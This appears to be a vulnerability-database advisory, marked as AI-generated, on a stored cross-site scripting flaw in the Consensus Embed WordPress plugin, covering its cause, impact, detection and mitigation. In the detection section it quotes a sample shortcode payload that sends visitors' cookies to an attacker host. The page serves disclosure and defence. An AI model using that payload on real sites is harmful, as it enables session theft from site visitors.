
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-1823 is a Stored Cross-Site Scripting (XSS) vulnerability in the Consensus Embed plugin for WordPress. It affects all versions up to and including 1.6, stemming from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's consensus shortcode. Authenticated attackers with contributor-level access or above can inject arbitrary web scripts into pages, which execute when any user visits the affected page. It was published on March 7, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists in the plugin's shortcode handler, where user-supplied attributes passed to the consensus shortcode are neither sanitized on input nor escaped on output before being rendered in the page HTML. Specifically, the vulnerable code is located in consensus.php at lines 40 and 43 of version 1.6. An attacker with at least contributor-level WordPress access can craft a post or page containing a malicious shortcode attribute, causing arbitrary JavaScript to execute in the browsers of any subsequent visitors (Wordfence, WordPress Trac).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers when they visit an injected page. This can lead to session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or delivery of further malware payloads. While availability is not directly impacted, confidentiality and integrity are both at low-to-moderate risk, particularly for sites where contributors can publish content visible to administrators or other privileged users (Wordfence, Red Hat CVE).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1823 as of the available data. The EPSS score is approximately 0.032%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).
consensus shortcode with a malicious JavaScript payload embedded in a user-supplied attribute, e.g., [consensus attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].wp-admin/post.php or the REST API from contributor-level accounts containing script tags or encoded JavaScript in shortcode parameters.wp_posts table entries containing [consensus shortcode with unexpected or encoded attributes including <script>, javascript:, or event handlers (e.g., onerror, onload).consensus.php for unauthorized modifications at lines 40 and 43.consensus shortcode, potentially indicating cookie exfiltration or redirect activity.Site administrators should update the Consensus Embed plugin to a version beyond 1.6 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As a workaround, restrict contributor-level user registration and limit the ability of untrusted users to publish or submit content containing shortcodes. Implementing a Web Application Firewall (WAF) rule to block script injection patterns in shortcode attributes can provide additional defense-in-depth. Monitor the WordPress plugin repository for an updated release from the vendor (Wordfence, WordPress Trac).
The vulnerability was discovered and disclosed by Wordfence, which serves as the CVE assigner. Coverage has been limited to automated vulnerability aggregation platforms and security feed services, with no notable researcher commentary or significant social media discussion identified beyond standard CVE publication channels (Wordfence).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."